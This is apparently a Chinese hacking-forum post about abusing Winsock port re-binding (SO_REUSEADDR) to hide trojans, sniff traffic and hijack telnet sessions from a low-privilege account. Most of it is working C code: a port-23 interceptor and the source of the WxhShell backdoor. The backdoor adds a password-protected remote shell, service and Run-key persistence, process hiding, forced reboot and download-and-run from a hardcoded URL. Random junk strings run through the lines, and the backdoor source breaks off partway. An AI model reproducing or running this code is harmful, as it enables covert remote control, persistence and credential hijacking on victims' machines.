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[讨论]用端口截听实现隐藏嗅探与攻击

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所在楼道
在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: w*bVBuX s  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); EB\z:n5  
r Ssv^W+  
  saddr.sin_family = AF_INET; auGt>,Zj\Q  
s&fU|Jk8  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); Y ,}p  
_abVX#5<  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); K1eoZ8=!  
eueXklpg+  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 DO %YOv  
|\}f)Xp-  
  这意味着什么?意味着可以进行如下的攻击: xw?G?(WO  
Gn_v}31d%  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 \64(`6>  
!p9BH6$`  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) W C`1;(#G  
.{8lG^0U<  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 n_c0=YH  
w=f8UtY9@A  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  5hDE&hp  
 ! $d:k|b  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 :;|x'[JoE?  
RF6|zCWuI  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 ;M JM~\L0  
T]i~GkD\  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 X5<L  
"Dy&`  
  #include ^Cak/5^K  
  #include Z1OcGRN!  
  #include nl?|X2?C  
  #include    ({i|  
  DWORD WINAPI ClientThread(LPVOID lpParam);   &E9%8Q)r(  
  int main() i>w>UA*t  
  { [S9nF  
  WORD wVersionRequested; .^v7LF]Q  
  DWORD ret; ^\wosB3E  
  WSADATA wsaData; @yek6E&9  
  BOOL val; XM_S"  
  SOCKADDR_IN saddr; e%f8|3<6  
  SOCKADDR_IN scaddr; |0 Zj/1<$  
  int err; 8)H"w$jq  
  SOCKET s; N4D_ 43jz  
  SOCKET sc; }u|0  
  int caddsize; *'`-plS7  
  HANDLE mt; Lh. L~M1X  
  DWORD tid;   \(A>~D8Fo  
  wVersionRequested = MAKEWORD( 2, 2 );   () SG  
  err = WSAStartup( wVersionRequested, &wsaData ); @r .K>+1  
  if ( err != 0 ) { =lffr?#&B  
  printf("error!WSAStartup failed!\n"); Dbtw>:=  
  return -1; >4ALF[oH1J  
  } hz/5k%%UX  
  saddr.sin_family = AF_INET; ).vdKNzw  
   !AMPA*  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 j5RM S V  
20Rgw  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); 8EP^M~rv  
  saddr.sin_port = htons(23); BzgDhDj  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) */ qv}  
  { c[;I\g  
  printf("error!socket failed!\n"); a-kU?&* y  
  return -1; f^]2qoN  
  } g:*yjj  
  val = TRUE; Y${ $7+@  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 7%F9.h  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) I)sCWC:Mq~  
  { y%T'e(5Ed  
  printf("error!setsockopt failed!\n"); \@80Z5?n  
  return -1; K3@UoR  
  } ME7JU|@Z  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; K1$Z=]a+  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 8d>OtDLa  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 yX)2 hj:s  
N(IUNL  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) RLIugz{IH  
  { M9iu#6P  
  ret=GetLastError(); Ig=4Z*au!g  
  printf("error!bind failed!\n"); ;1o"Oij  
  return -1; cy? EX~s4  
  } dpE+[O_  
  listen(s,2); rA_e3L@v#[  
  while(1) K~Xt`  
  { bS0LjvY9g  
  caddsize = sizeof(scaddr); fdPg{3x*k  
  //接受连接请求 Ddu$49{S:  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); K!'9wt  
  if(sc!=INVALID_SOCKET) xvW+;3;  
  { e0aeiG$/0  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); x0 j$]$  
  if(mt==NULL) PvO>}(=  
  { j:fL_1m  
  printf("Thread Creat Failed!\n"); +p_SKk!%+  
  break; 4sG^ bZ,  
  } 7?F0~[eGG  
  } 8_:jPd! 3  
  CloseHandle(mt); z*kn.sW  
  } xKIm2% U9  
  closesocket(s); ?}O\'Fa8  
  WSACleanup(); 2vK{Yw   
  return 0; PInU-"gG  
  }   tcmG>^YM  
  DWORD WINAPI ClientThread(LPVOID lpParam) *)"`v]  
  { qQ^]z8g6P  
  SOCKET ss = (SOCKET)lpParam; ) |*HkdF`  
  SOCKET sc; b}axw+  
  unsigned char buf[4096]; I=. 98v%  
  SOCKADDR_IN saddr; 2#p6.4h=  
  long num; (L q^C=  
  DWORD val; /}(w{6C  
  DWORD ret; s,lrw~17  
  //如果是隐藏端口应用的话,可以在此处加一些判断 e6,/ i  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   z$S)|6Q  
  saddr.sin_family = AF_INET; c"6<p5j!  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); bW[Y:}Hk~  
  saddr.sin_port = htons(23); Z^s&]  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) L`3 g5)V  
  { >^kRIoBkg  
  printf("error!socket failed!\n"); :+Y+5:U]  
  return -1; l2._Z Py  
  } 1dHN<xy  
  val = 100; S9U`-\L0  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) epR7p^`7  
  { yB,$4:C  
  ret = GetLastError(); D&:,,Dp  
  return -1; <4D.P2ct  
  } 1s/t}J~zZ  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) c|IH|y  
  { ~X)Aw 3}F  
  ret = GetLastError(); sO,,i]a0  
  return -1; ]u G9WT6l  
  } <"X\~  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) aF]4%E  
  { hCuUX)>Bt  
  printf("error!socket connect failed!\n"); tp7cc;0  
  closesocket(sc);  2tMe#V  
  closesocket(ss); ,l1A]Wx  
  return -1; { ZrIA+eH  
  } XE6sFU  
  while(1) !EB<e5}8wK  
  { F^fL  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 . =yF  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 4$~eG"wu  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 ~M _ @_  
  num = recv(ss,buf,4096,0); : M=0o<  
  if(num>0) RoS&oGYqR  
  send(sc,buf,num,0);  vtk0 j  
  else if(num==0) R6v~Sy&n!  
  break; z10J8Ms'  
  num = recv(sc,buf,4096,0); J2W#vFe\  
  if(num>0) :qy< G!o  
  send(ss,buf,num,0); Qu"zzb"k  
  else if(num==0) oG{0 {%*@  
  break; @{n"/6t  
  } z0!k  
  closesocket(ss); 0wQ'~8  
  closesocket(sc); ~XU%_Hz  
  return 0 ; "Te[R%aP  
  } vLCyT=OB`  
.6C9N{?Tqf  
lrQNl^K}=  
========================================================== Lp31Y . 4  
O2N7qV3 U,  
下边附上一个代码,,WXhSHELL inQ1 $   
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========================================================== 'rl?'~={p  
kZ5;Fe\*  
#include "stdafx.h" \*yH33B9  
94.|l  
#include <stdio.h> D`c&Q4$:  
#include <string.h> ]8 vsr$E#  
#include <windows.h> OKi}aQ2R*  
#include <winsock2.h> 2 Sgv  
#include <winsvc.h> G'#Uzwo  
#include <urlmon.h> 7! sR%h5p  
emT/5'y  
#pragma comment (lib, "Ws2_32.lib") ^ruz-N^Y!  
#pragma comment (lib, "urlmon.lib") +,c]FAx4  
K]SsEsd  
#define MAX_USER   100 // 最大客户端连接数 Nb3uDA5R  
#define BUF_SOCK   200 // sock buffer CXiDe)|<E  
#define KEY_BUFF   255 // 输入 buffer \JLea$TM:  
~v>3lEGn*  
#define REBOOT     0   // 重启 He9Er  
#define SHUTDOWN   1   // 关机 *q-VY[2  
HkPdqNC&  
#define DEF_PORT   5000 // 监听端口 [zJ|61^  
j82x$I*  
#define REG_LEN     16   // 注册表键长度 0}mVP  
#define SVC_LEN     80   // NT服务名长度 B=}s7$^  
FFtB#  
// 从dll定义API W:VX^8</  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); H-iCaXT  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); +v+Dkyf:V  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); ]bP1gV(b-  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); #g#[|c.  
XwZR Kh\>=  
// wxhshell配置信息 Z'~/=a)7  
struct WSCFG { +[Izz~ _p  
  int ws_port;         // 监听端口 M{t/B-'4  
  char ws_passstr[REG_LEN]; // 口令 PO nF_FC  
  int ws_autoins;       // 安装标记, 1=yes 0=no %bp'`B=  
  char ws_regname[REG_LEN]; // 注册表键名 7Y.mp9,  
  char ws_svcname[REG_LEN]; // 服务名 S&F[\4w5]  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 GJ\bZ"vDo  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 o&$Of  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 e}NB ,o  
int ws_downexe;       // 下载执行标记, 1=yes 0=no /H*[~b   
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" {nMCU{*k  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 LJSx~)@  
 c?*x2Vk  
}; *|OUd7P:hU  
e$`;z%6y  
// default Wxhshell configuration I6i qC"BK  
struct WSCFG wscfg={DEF_PORT, s54AM]a{j  
    "xuhuanlingzhe", YF(bl1>YC  
    1, JMfv|>=  
    "Wxhshell", qzWnl[3  
    "Wxhshell", m~tv{#Y  
            "WxhShell Service", t(99m=9>  
    "Wrsky Windows CmdShell Service", &8dj*!4H  
    "Please Input Your Password: ", TU1W!=Z  
  1, Wb5n> *  
  "http://www.wrsky.com/wxhshell.exe", !jg< S>S5  
  "Wxhshell.exe" g*WY kv  
    }; L*6>S_l[  
^YB3$:@$U  
// 消息定义模块 /tJ%gF  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; |ADg#oX  
char *msg_ws_prompt="\n\r? for help\n\r#>"; LYuMR,7E  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; bwK1XlfD.s  
char *msg_ws_ext="\n\rExit."; cS>xT cj  
char *msg_ws_end="\n\rQuit."; ^3C%&  
char *msg_ws_boot="\n\rReboot..."; 82YZN5S3]3  
char *msg_ws_poff="\n\rShutdown..."; #<5i/5&  
char *msg_ws_down="\n\rSave to "; brdY97s4  
K7ZRj\(CJv  
char *msg_ws_err="\n\rErr!"; 'DUY f5nF  
char *msg_ws_ok="\n\rOK!"; pYj}  
,Qt2?  
char ExeFile[MAX_PATH]; C}71SlN'M  
int nUser = 0; q+)s  
HANDLE handles[MAX_USER]; ^ x_+ &  
int OsIsNt; ,o\~d ?4  
={I(i6  
SERVICE_STATUS       serviceStatus; qdZo cTf'  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; ej[Y `N  
[a k[ZXC,  
// 函数声明 {qFAX<{D  
int Install(void); 3JZ9 G79H  
int Uninstall(void); :+ AqY(Gz  
int DownloadFile(char *sURL, SOCKET wsh); (X|lK.W y  
int Boot(int flag); lmx'w  
void HideProc(void); Px`z$~*B:  
int GetOsVer(void); ?ehUGvV2  
int Wxhshell(SOCKET wsl); @}tk/7-E  
void TalkWithClient(void *cs); 51puR8AG>  
int CmdShell(SOCKET sock); +?Y(6$o  
int StartFromService(void); { pu .l4nk  
int StartWxhshell(LPSTR lpCmdLine); XtIY8wsP  
gal.<SVW  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); nn/_>%Y  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); &Fl* ,  
okD7!)cr=  
// 数据结构和表定义 88+J(^y>  
SERVICE_TABLE_ENTRY DispatchTable[] = L)_L#]Yy  
{ xcN >L  
{wscfg.ws_svcname, NTServiceMain}, `f%sq*O~  
{NULL, NULL} #zKF/H|_R  
}; Zc*gRC  
K[i|OZWu  
// 自我安装 u/4|Akui  
int Install(void) pAd SOR2  
{ cz$q~)I$  
  char svExeFile[MAX_PATH]; S)*!jI  
  HKEY key; TYgn X  
  strcpy(svExeFile,ExeFile); }t.VH:02y  
{1]Of'x'  
// 如果是win9x系统,修改注册表设为自启动 Z sbE  
if(!OsIsNt) { X" ;ly0Mb  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { IF.6sJg:  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); _z \PVTT  
  RegCloseKey(key); +vCW${U  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { }\_[+@*EJ  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); Zk n1@a  
  RegCloseKey(key); (Y?" L_pC  
  return 0; yX;v   
    } #[ hJm'G  
  } ~<w9a]  
} _sp/RU,J-3  
else { N}j^55M_]  
6GtXM3qtS  
// 如果是NT以上系统,安装为系统服务 Kly`V]XE  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); ~F9WR5}]  
if (schSCManager!=0) 7nL3+Pq  
{ jaI mO  
  SC_HANDLE schService = CreateService tL~?)2uEN  
  ( sz%'=J~!V  
  schSCManager, _<1uO=km6  
  wscfg.ws_svcname, M/mUY  
  wscfg.ws_svcdisp, f6Io|CZWJ  
  SERVICE_ALL_ACCESS, !{L`Zd;C>w  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , y!?l;xMS  
  SERVICE_AUTO_START, ghd*EXrF H  
  SERVICE_ERROR_NORMAL, G6L /Ny3>_  
  svExeFile, ?Em*yc@WD  
  NULL, fUg I*V  
  NULL, -O-qEQd  
  NULL, )pA N_e"  
  NULL, ;Y>cegG\  
  NULL NuqWezJm&  
  );  uM9[  
  if (schService!=0) __,1;=  
  { =?/RaK/ w  
  CloseServiceHandle(schService); aGY F\7  
  CloseServiceHandle(schSCManager); DdL0MGwX  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); S@a#,,\[  
  strcat(svExeFile,wscfg.ws_svcname); 4^0L2BVcv  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { @i[z4)"S  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); YdK]%%  
  RegCloseKey(key); w3=Bj  
  return 0; RrDNEwAr  
    } . 787+J?  
  } .V?i3  
  CloseServiceHandle(schSCManager); D{aN_0mT  
} >}*i Qq  
} ;O2r+n  
K~_[[)14b  
return 1; ,afh]#  
} Et=N`k _gO  
E(e'qL  
// 自我卸载 $#dPM*E  
int Uninstall(void) 8S>T1st  
{ f-?00*T  
  HKEY key; -VESe}c:nQ  
k@eU #c5c  
if(!OsIsNt) { !S[8w9q  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { s e9X  
  RegDeleteValue(key,wscfg.ws_regname); PEPBnBA&1  
  RegCloseKey(key); pNo<:p  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { l("Dw8 H  
  RegDeleteValue(key,wscfg.ws_regname); V=}b>Jo2j  
  RegCloseKey(key); vnXa4\Vdy  
  return 0; yFT)R hN  
  } i51~/ R  
} Z4Nl{  6  
} 1FS Jqad  
else { J3fcnI  
h$p]#]uMb  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); oXg KuR  
if (schSCManager!=0) )g:\N8AZK  
{ ;%Jw9G\h  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); kL,{H~iq;  
  if (schService!=0) #5kQn>R  
  { m9UI3fBX  
  if(DeleteService(schService)!=0) { <h2WM (n  
  CloseServiceHandle(schService); :0.Z/s -  
  CloseServiceHandle(schSCManager); -y{o@  
  return 0; _-%A_5lCRE  
  } I)AV  
  CloseServiceHandle(schService); h#?L6<*tm  
  }  M SU|T  
  CloseServiceHandle(schSCManager); 1O1/P,u+  
} I_J;/!l=  
} maLKUSgo  
r>S?,qr  
return 1; T^8t<S@`  
} aE6 I|6W?  
F kp;G  
// 从指定url下载文件 aEVBU  
int DownloadFile(char *sURL, SOCKET wsh) 1FUadSB5)  
{ s)#FqB8  
  HRESULT hr; *D1 ^Se  
char seps[]= "/"; rG1l:Z)  
char *token; tK6z#)  
char *file; }<o.VY&;.  
char myURL[MAX_PATH]; &,2h=H,M  
char myFILE[MAX_PATH]; Yjv}@i"  
Y~vI@$<~(  
strcpy(myURL,sURL); Rz1&(_Ps  
  token=strtok(myURL,seps); EAU6z(X$  
  while(token!=NULL) n5A0E2!  
  { AzVON#rj  
    file=token; QWv+J a  
  token=strtok(NULL,seps); |GtTz&  
  } O^48c$Apv  
.{x-A{l  
GetCurrentDirectory(MAX_PATH,myFILE); Vo<V!G{  
strcat(myFILE, "\\"); -! Hn,93  
strcat(myFILE, file); `;4P?!WG  
  send(wsh,myFILE,strlen(myFILE),0); Y;d$x}dh  
send(wsh,"...",3,0); 7A?~a_Ep  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); IlJ6&9  
  if(hr==S_OK) "  m<]B  
return 0; MZ o\1tU-i  
else xtYX}u  
return 1;  {A]"/AC  
Y&KI/]ly,L  
} 0P^RciC f  
0Lmq?D  
// 系统电源模块 >&3M #s(w  
int Boot(int flag) yjlX@YXnw  
{ `z%f@/:fG  
  HANDLE hToken; Hj't.lg+j  
  TOKEN_PRIVILEGES tkp; K>X#,lE-  
;75K:_  
  if(OsIsNt) { 1=gE ,k5H  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); }.ZX.qYX  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); 3maiBAOKz  
    tkp.PrivilegeCount = 1; ^JZ]?iny  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; }Tf~)x  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); ;X,|I)  
if(flag==REBOOT) { HpY-7QTPJ~  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) U8qb2'a8  
  return 0; Aon 3G  
} Lg Xc}3  
else { Q.X)QCp#r  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) ;"46H'>!  
  return 0; #'[4k:  
} F \6-s`(  
  } l Os91+.%  
  else { \Fg%V>  
if(flag==REBOOT) { =n .d'  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) wb~B Y  
  return 0; a)w *  
} Vc0C@*fVM  
else { koDIxj'%X  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) F!.Z@y P  
  return 0; &z kuL  
} E;m]RtvH  
} \Gm$hTvB&  
SR)jJ=R3  
return 1; }#%3y&7M7  
} I!sh+e  
Sd[%$)scC  
// win9x进程隐藏模块 V$wW?+V  
void HideProc(void) khFr%u ?S  
{ 4z6i{n-k  
N8*6sK.  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); Z*uv~0a>9Q  
  if ( hKernel != NULL ) u}_,4J  
  { HK}br!?  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); uBpnfIe  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); h&5bMW  
    FreeLibrary(hKernel); :\hcl&W:  
  } 'N aNh0y  
{"kE u  
return; Qc4r?7S<  
} @nWhUH%  
287g 5  
// 获取操作系统版本 `G/%U~  
int GetOsVer(void) hSAdD!  
{ d `MTc  
  OSVERSIONINFO winfo; pg<m0g@W*;  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); Z%&$_-yJ  
  GetVersionEx(&winfo); -9PJ4"H  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) # <?igtUO  
  return 1; J[|4`GT  
  else Yamu"#  
  return 0; F o k%  
} o}4~CN9}  
@5RbMf{  
// 客户端句柄模块 F>F2Yql&W  
int Wxhshell(SOCKET wsl) ?d!*[Ke8  
{ 0#G@F5; <  
  SOCKET wsh; )k^y<lC2a  
  struct sockaddr_in client; qkbGM-H%U  
  DWORD myID; 8NZQTRdH  
#}p@+rkg2  
  while(nUser<MAX_USER)  Y+d+  
{ $./&GOus  
  int nSize=sizeof(client); $,.XPK5Q u  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); w!%"b03q  
  if(wsh==INVALID_SOCKET) return 1; mOC<a7#  
!qu/m B  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); &wa2MNCG8  
if(handles[nUser]==0) En9>onJ  
  closesocket(wsh); ;;|o+4Ob;  
else 56?RFnZ&j  
  nUser++; H/2dVUU  
  } WR"?j 9y_q  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); %y{'p:  
y3 "+4e  
  return 0; BROn2aSx%  
} EJW}&e/  
diWi0@  
// 关闭 socket -Hh.8(!XoO  
void CloseIt(SOCKET wsh) aGAeRF  
{ ge4QaK  
closesocket(wsh); im3BQIPR  
nUser--; j4:Xel/  
ExitThread(0); &J\<"3  
} #|"M  
O?`_RN4l  
// 客户端请求句柄 :w<Ga8\tZ  
void TalkWithClient(void *cs) fm0]nT   
{ oCxy(q'y  
eakQZ-Q  
  SOCKET wsh=(SOCKET)cs;  y 2C Jk~  
  char pwd[SVC_LEN]; BR-4L2[  
  char cmd[KEY_BUFF]; :Vy*MPS5  
char chr[1]; 1)#dgsa  
int i,j; K|Xr~\=  
FN/siw(?3  
  while (nUser < MAX_USER) { O+?vQ$z  
ZY|$[>X!  
if(wscfg.ws_passstr) { 050V-S>s  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); ^GS\(egt  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); @\WeI"^F8  
  //ZeroMemory(pwd,KEY_BUFF); IuY4R0Go  
      i=0; v?YxF}  
  while(i<SVC_LEN) { aL&nD1f=!-  
'!F'B:  
  // 设置超时 ]*hH.ZBY"^  
  fd_set FdRead; Nt|Fw$3*5{  
  struct timeval TimeOut; N F,<^ u  
  FD_ZERO(&FdRead); vSy[lB|)24  
  FD_SET(wsh,&FdRead); g`w46X  
  TimeOut.tv_sec=8; dJe 3DW :  
  TimeOut.tv_usec=0; SZUo RWx  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); )b1X6w[  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); 4t-l@zFWb  
[$c"}=g[+  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); #;= sJ[m4  
  pwd=chr[0]; c#f@v45  
  if(chr[0]==0xd || chr[0]==0xa) { 6!se,SCvw  
  pwd=0; "A> _U<Y  
  break; B3<sSe8L0  
  } B1A:}#  
  i++; pekNBq Wm  
    } dQz#&&s-  
+sV~#%%  
  // 如果是非法用户,关闭 socket cbYQ';{  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); K $WMrp  
} FKPR;H8>  
G)q;)n;*=  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); H:P7G_!\  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); ^]D+H9Tl  
E3] 8(P%D-  
while(1) { M!D6i5k,   
RL )~J4Y  
  ZeroMemory(cmd,KEY_BUFF); _Ie:!q  
K {  FZ/  
      // 自动支持客户端 telnet标准   ,"F0#5  
  j=0; a`[9<AM1#  
  while(j<KEY_BUFF) { &F:.OVzX  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); 0":k[y  
  cmd[j]=chr[0]; M ziOpraj  
  if(chr[0]==0xa || chr[0]==0xd) { z4~p(tl  
  cmd[j]=0; m\XG7uo~  
  break; "LSzF_mK  
  } l|{[vZpT  
  j++; ];jp)P2o  
    } M%Ksyr9  
1J72*`4OK  
  // 下载文件 g~$UU(HX  
  if(strstr(cmd,"http://")) { i"=lxqWeaV  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); X# /c7w-  
  if(DownloadFile(cmd,wsh)) hsT&c|  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); ?z <-Ww  
  else 8O$ LY\G  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); ,<'>j a C  
  } ~@)s)K  
  else { }%-iJ\  
IibYGF  
    switch(cmd[0]) { Mi{ns $B%  
  U$<" . q  
  // 帮助 x$bUd 9  
  case '?': { =*I|z+  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); ( Zd(?">i  
    break; f0j]!g  
  } %q~q,=H$]  
  // 安装 6}?d%K  
  case 'i': { W &:0J  
    if(Install()) ggiy{CdR  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); ?Pp*BB,*y  
    else |q 8N$m  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); {=?(v`88  
    break; 2%L`b"9}V  
    } G}^=(,jl  
  // 卸载 Lt=32SvTn  
  case 'r': { jU7[z$GX  
    if(Uninstall()) |Tc4a4jS  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); J{-`&I'b  
    else @fJsRWvGq  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); vq^';<Wh.  
    break; ]K*R[  
    } 5h`LWA B  
  // 显示 wxhshell 所在路径 -{k8^o7$  
  case 'p': { d1/9 A-{  
    char svExeFile[MAX_PATH]; }8#Ed;%K  
    strcpy(svExeFile,"\n\r"); FRZ]E)9Z]b  
      strcat(svExeFile,ExeFile); R:YVmqd  
        send(wsh,svExeFile,strlen(svExeFile),0); R-9o 3TPa  
    break; ]W14'Z  
    } N`,\1hHMT  
  // 重启 <j>;5!4!}  
  case 'b': { (lVMy\  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); DAP/  
    if(Boot(REBOOT)) NWvIwt{  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); )!\6 "{  
    else { G^#>HE|  
    closesocket(wsh); v-d"dC`  
    ExitThread(0); ]6[+tpx  
    } gqy>;A:kO  
    break; H"8B4~*7H  
    } 3&7? eO7*  
  // 关机 vm_]X{80;  
  case 'd': { 2#R$-* ;#  
